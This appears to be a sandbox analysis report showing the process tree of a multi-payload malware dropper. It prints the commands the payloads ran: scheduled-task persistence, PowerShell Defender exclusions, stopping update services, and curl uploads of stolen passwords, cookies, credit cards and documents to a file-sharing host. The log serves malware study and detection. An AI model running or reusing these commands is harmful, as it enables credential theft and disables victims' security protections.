Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cluton.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3388
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:516
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- - C:\Users\Admin\Desktop\Files\client.exe
    "C:\Users\Admin\Desktop\Files\client.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"' & exit
      4⤵
      PID:2984
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD45D.tmp.bat""
      4⤵
      PID:3084
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:3980
    - - C:\Users\Admin\AppData\Roaming\hyperhostvc.exe
        
        "C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2652
- - C:\Users\Admin\Desktop\Files\nxmr.exe
    "C:\Users\Admin\Desktop\Files\nxmr.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:4528
- - C:\Users\Admin\Desktop\Files\tpeinf.exe
    "C:\Users\Admin\Desktop\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious use of SetWindowsHookEx
    PID:1820
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:956
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1944
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1632
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3040
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:4408
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4868
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4412
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:3340
    - - C:\Users\Admin\AppData\Local\Temp\2583932524.exe
        
        C:\Users\Admin\AppData\Local\Temp\2583932524.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2996
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:4636
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:2852
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:4372
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:2576
    - - C:\Users\Admin\AppData\Local\Temp\509925116.exe
        
        C:\Users\Admin\AppData\Local\Temp\509925116.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2852
    - - C:\Users\Admin\AppData\Local\Temp\2542917144.exe
        
        C:\Users\Admin\AppData\Local\Temp\2542917144.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3580
      - C:\Users\Admin\AppData\Local\Temp\1795410674.exe
        
        C:\Users\Admin\AppData\Local\Temp\1795410674.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        
        PID:1316
    - - C:\Users\Admin\AppData\Local\Temp\100218613.exe
        
        C:\Users\Admin\AppData\Local\Temp\100218613.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:312
- - C:\Users\Admin\Desktop\Files\twztl.exe
    "C:\Users\Admin\Desktop\Files\twztl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3340
- - C:\Users\Admin\Desktop\Files\creal.exe
    "C:\Users\Admin\Desktop\Files\creal.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4372
  - - C:\Users\Admin\Desktop\Files\creal.exe
      "C:\Users\Admin\Desktop\Files\creal.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:4392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:2584
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:3148
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:2076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:4964
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:2336
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:2440
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:4168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:3204
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:4476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:3600
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:2476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:1188
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:4400
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupDebug.pps" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:4728
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Documents/BackupDebug.pps" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:1560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/CloseEdit.xps" https://store4.gofile.io/uploadFile"
        5⤵
        
        PID:3976
      - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Documents/CloseEdit.xps" https://store4.gofile.io/uploadFile
        6⤵
        
        PID:3488
- - C:\Users\Admin\Desktop\Files\XClient.exe
    "C:\Users\Admin\Desktop\Files\XClient.exe"
    3⤵
    - Executes dropped EXE
    PID:2968
- - C:\Users\Admin\Desktop\Files\script.exe
    "C:\Users\Admin\Desktop\Files\script.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2360
- - C:\Users\Admin\Desktop\Files\Identifications.exe
    "C:\Users\Admin\Desktop\Files\Identifications.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4172
- - C:\Users\Admin\Desktop\Files\installer.exe
    "C:\Users\Admin\Desktop\Files\installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4284
  - - C:\Windows\SYSTEM32\reg.exe
      "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
      4⤵
      PID:4036
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" "computersystem" "get" "manufacturer"
      4⤵
      PID:4556
- - C:\Users\Admin\Desktop\Files\XwormLoader.exe
    "C:\Users\Admin\Desktop\Files\XwormLoader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2072
- - C:\Users\Admin\Desktop\Files\ps.exe
    "C:\Users\Admin\Desktop\Files\ps.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5044
- - C:\Users\Admin\Desktop\Files\random.exe
    "C:\Users\Admin\Desktop\Files\random.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:5072
- - C:\Users\Admin\Desktop\Files\crypted2.exe
    "C:\Users\Admin\Desktop\Files\crypted2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:2816
  - - C:\Users\Admin\Desktop\Files\crypted2.exe
      "C:\Users\Admin\Desktop\Files\crypted2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2848
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 272
      4⤵
      Program crash
      PID:2960
- - C:\Users\Admin\Desktop\Files\a.exe
    "C:\Users\Admin\Desktop\Files\a.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious use of SetWindowsHookEx
    PID:1708
  - - C:\Windows\sysvplervcs.exe
      C:\Windows\sysvplervcs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:4284
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:664
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4968
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2088
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1172
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1308
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1504
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3400
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3820
    - - C:\Users\Admin\AppData\Local\Temp\1785523095.exe
        
        C:\Users\Admin\AppData\Local\Temp\1785523095.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3400
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2904
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:872
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:1236
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3304
    - - C:\Users\Admin\AppData\Local\Temp\796714666.exe
        
        C:\Users\Admin\AppData\Local\Temp\796714666.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4476
    - - C:\Users\Admin\AppData\Local\Temp\199336850.exe
        
        C:\Users\Admin\AppData\Local\Temp\199336850.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5436
    - - C:\Users\Admin\AppData\Local\Temp\297862349.exe
        
        C:\Users\Admin\AppData\Local\Temp\297862349.exe
        5⤵
        Executes dropped EXE
        
        PID:5996
- - C:\Users\Admin\Desktop\Files\s.exe
    "C:\Users\Admin\Desktop\Files\s.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2524
- - C:\Users\Admin\Desktop\Files\meta.exe
    "C:\Users\Admin\Desktop\Files\meta.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of SetWindowsHookEx
    PID:1616
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      4⤵
      PID:2004
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
      4⤵
      PID:4640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff92d73cc40,0x7ff92d73cc4c,0x7ff92d73cc58
    3⤵
    PID:2320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1840,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1836 /prefetch:2
    3⤵
    PID:4064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2168,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2216 /prefetch:3
    3⤵
    PID:3632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2652 /prefetch:8
    3⤵
    PID:3876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:3652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3292,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4544,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4572 /prefetch:1
    3⤵
    PID:2036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4452,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4924 /prefetch:8
    3⤵
    PID:2736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5064,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4956 /prefetch:8
    3⤵
    PID:1380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5148,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4916,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5156 /prefetch:8
    3⤵
    PID:3716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4896,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5312 /prefetch:8
    3⤵
    PID:3672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5184 /prefetch:8
    3⤵
    PID:4264
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
    3⤵
    - Drops file in Program Files directory
    PID:1716
  - - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x7ff7a8774698,0x7ff7a87746a4,0x7ff7a87746b0
      4⤵
      Drops file in Program Files directory
      PID:4452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5412,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5516 /prefetch:2
    3⤵
    PID:2684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5208,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5236 /prefetch:1
    3⤵
    PID:768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3396,i,7848910047722276226,14842002688920743188,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4084 /prefetch:8
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:380
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2680
    - - C:\Users\Admin\Desktop\Files\cluton.exe
        
        "C:\Users\Admin\Desktop\Files\cluton.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:628
      - C:\Users\Admin\Desktop\Files\cluton.exe
        
        "C:\Users\Admin\Desktop\Files\cluton.exe"
        6⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        outlook_office_path
        outlook_win_path
        
        PID:3528
    - - C:\Users\Admin\Desktop\Files\gawdth.exe
        
        "C:\Users\Admin\Desktop\Files\gawdth.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        6⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        
        clamer.exe -priverdD
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1764
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\lofsawd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\lofsawd.exe"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:216
    - - C:\Users\Admin\Desktop\Files\t2.exe
        
        "C:\Users\Admin\Desktop\Files\t2.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3476
      - C:\Windows\sysklnorbcv.exe
        
        C:\Windows\sysklnorbcv.exe
        6⤵
        Modifies security service
        Windows security bypass
        Checks computer location settings
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:392
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:2816
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1508
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3160
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2584
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4908
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2868
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2704
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:624
        
        C:\Users\Admin\AppData\Local\Temp\180678745.exe
        
        C:\Users\Admin\AppData\Local\Temp\180678745.exe
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1576
        
        C:\Windows\System32\cmd.exe
        
